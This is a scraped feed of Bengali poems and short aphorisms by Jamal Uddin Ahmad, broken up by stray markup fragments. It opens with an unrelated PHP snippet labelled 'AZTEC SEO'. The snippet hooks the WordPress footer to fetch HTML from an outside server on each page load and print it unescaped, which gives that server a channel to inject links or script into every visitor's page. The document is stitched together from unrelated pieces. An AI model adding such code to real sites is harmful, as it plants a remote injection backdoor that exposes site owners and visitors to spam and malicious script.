/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
নিঃশ্বাসে-বিশ্বাসে ধ্যানে-জ্ঞানে -জামাল উদ্দিন আহমাদ
তোমায় স্মরি বারংবার,
আমার মাঝে তুমি আছ
এই তো অহংকার।
একজন জামাল পৃথিবীতে এসেছিল-
সুখের কথা, দুঃখের কথা
প্রাণের কথা লিখেছিল।
ঐ আকাশের চাঁদের সাথে
মায়ের কোলে হেসেছিল।
দূর-দিগন্তে মাঠের প্রান্তে
কৈশোর মেলায় মেতেছিল।
খেলার সাথী, সহপাঠি
সবার সাথে হাঁটি হাঁটি
পাঠশালাতে গিয়েছিল।
বৈশাখী ঢলে জোয়ার জলে
অবগাহন করেছিল।
একজন জামাল পৃথিবীতে এসেছিল।
-জামাল উদ্দিন আহমাদ
]]>যদি শ্রাবণের নদী হতাম
তোমার চোখের জল বইতাম,
সাগর সান্ত্বনায় …
সকল ব্যথা সইতাম।
যদি রঙিন প্রজাপতি হতাম
তোমার মর্মবনে ফুল ফোটাতাম,
পুষ্পে পরাগের রেণু মেখে
মিঠে ফল ধরাতাম।
যদি মায়াবী চাঁদের জোছনা হতাম
তোমার নির্ঘুম রাতে সঙ্গ দিতাম,
মমতার আবেশে দুর্বাগালিচায়
স্বপনের ঘুম পাড়াতাম।
-জামাল উদ্দিন আহমাদ
]]>পৃথিবী ঘুমিয়ে গেছে, নিশুতি রাত
সে আমায় বলেছিল হাতে রাখ হাত,
তার মতো বলবার আর কেহ নাই
একটি আদিম বৃত্তির কথা বলবে সবাই।
আমি তার প্রেম চাহি বলিনি তো কভু
সে আমার প্রাণ ছুঁয়ে বুঝেছিল তবু,
ভেজা ভেজা চোখ তার পদ্মপরাগ
গভীরে আছে যার চির অনুরাগ।
সে আমায় খুঁজেছিল, আমি খুঁজেছিনু যারে
সে আমার রাজ্যকে জিতে নিতে পারে।
-জামাল উদ্দিন আহমাদ
]]>কেউ জানে না
আমি তোমায় ভালোবাসি
এই গোপন অভিসার!
এই নদীর ধারে, নিবিড় অরণ্যে
একে একে খুলে ফেল
তোমার রূপের সবগুলো অবগুণ্ঠন
আমি দেখব তোমায়-
দাও সবটুকু অধিকার।
-জামাল উদ্দিন আহমাদ
]]>সরীসৃপ ও কর্কটরা খোলস বদলায়
কারও কারও গায়ের রঙ বদলায়-
আমরা অমন করে বদলাতে পারি না।
তবে সূর্যোদয়ের সাথে
আমরা প্রত্যহ বদলাই-
বসন-ভূষণ, আসবাব ও তৈজস,
আমাদের মনের বিচিত্র রঙ
ছড়িয়ে দিই অসীম গগনে,
নিজেকে হারাই অনিত্য কামনায়।
এই অদৃশ্য বাসনার জাল থেকে
আমরা বেরিয়ে আসতে চাই।
আমরা বদলাতে চাই জীবনচিত্র
আর বর্ণচোরা বহু বর্ণের চরিত্র।
-জামাল উদ্দিন আহমাদ
]]>আমরা চোখ তুলে দেখি
চোখের পাতা মেলে দেখি
দেখি পৃথিবীর রূপ।
অবশ্য কর্কট প্রাণীদের মতো চোখ
কোঠর থেকে উপরে তুলে
দেখতে পারি না আমরা।
তবে মানুষের ভেতর আরেকটি চোখ আছে-
যে চোখ অন্তহীন গগনে-পাতালে
মুহূর্তে ছুটে যেতে পারে।
সে চোখ দিয়ে আমরা দেখতে পারি
পূর্ণ অবয়াবে নিজেকেও,
যেমন দেখে উড়ন্ত পাখিরা
মানুষের হাঁটাচলা।
-জামাল উদ্দিন আহমাদ
]]>যখন তুমি কাঁদ
আমি হই অপরাধী
হারাই প্রাণবল,
আমার রক্ত ঝরুক
বাঁচুক তোমার চোখের জল।
যখন তুমি হাস
আমি ভুলে যাই ক্লান্তি-অবসাদ
অন্তঃপুরে ফোটাই ফুল ও ফল,
আমার রক্ত ঝরুক
বাঁচুক তোমার চোখের জল।
যখন তুমি কর অভিমান
দিনের আলো ঢাকা পড়ে মেঘে
থেমে যায় কোলাহল,
আমার রক্ত ঝরুক
বাঁচুক তোমার চোখের জল।
যখন তুমি কর অভিযোগ
আমি করি মর্মপীড়া ভোগ
হয়ে যাই অবিচল,
আমার রক্ত ঝরুক
বাঁচুক তোমার চোখের জল।
যখন তুমি হও প্রেমময়ী
আমি হই যুদ্ধজয়ী
বাহুতে আমার সমর বল,
আমার রক্ত ঝরুক
বাঁচুক তোমার চোখের জল।
-জামাল উদ্দিন আহমাদ
]]>সাদা পায়রার পালকে
লাল-নীল রঙ মেখে
হারিয়ে যেতে দিতাম
নীল থেকে নীলিমায়।
হীরামন পাখি,
নীল বিহঙ্গ আমার!
তোমাকে বেঁধে রাখতাম
বুকের এ ভাঙা খাঁচায়,
মায়ার জাল জড়িয়ে দিতাম
দীর্ণ খাঁচার চারপাশে।
তুমি কেমনে আমায় ফাঁকি দেবে?
একদিন দেখি তুমি মরে গেছ!
অভিমানী পাখি আমার-
চলে কী গেছ অরণ্যে আবার?
নাকি আকাশের তারা হয়ে
মায়াভরে দেখছ আমায়!
-জামাল উদ্দিন আহমাদ
]]>আমি পূজনীয় কিংবা পূজারী হতে চাই
এ ছাড়া অন্যথা সুখ নাই।
*
উদীয়মান ভোরের সূর্যের পানে
আমি প্রত্যহ ছুটি পতঙ্গের মতো।
*
জ্ঞানীর রসিকতায় মধু পড়ে
মুর্খের রসিকতায় রক্ত ঝরে।
*
দুরাত্মার আত্মীয় আমি
নরক আমার জন্যে।
*
বৃক্ষের শাখা যত প্রসারিত
শিকড় তত বিস্তৃত।
-জামাল উদ্দিন আহমাদ
]]>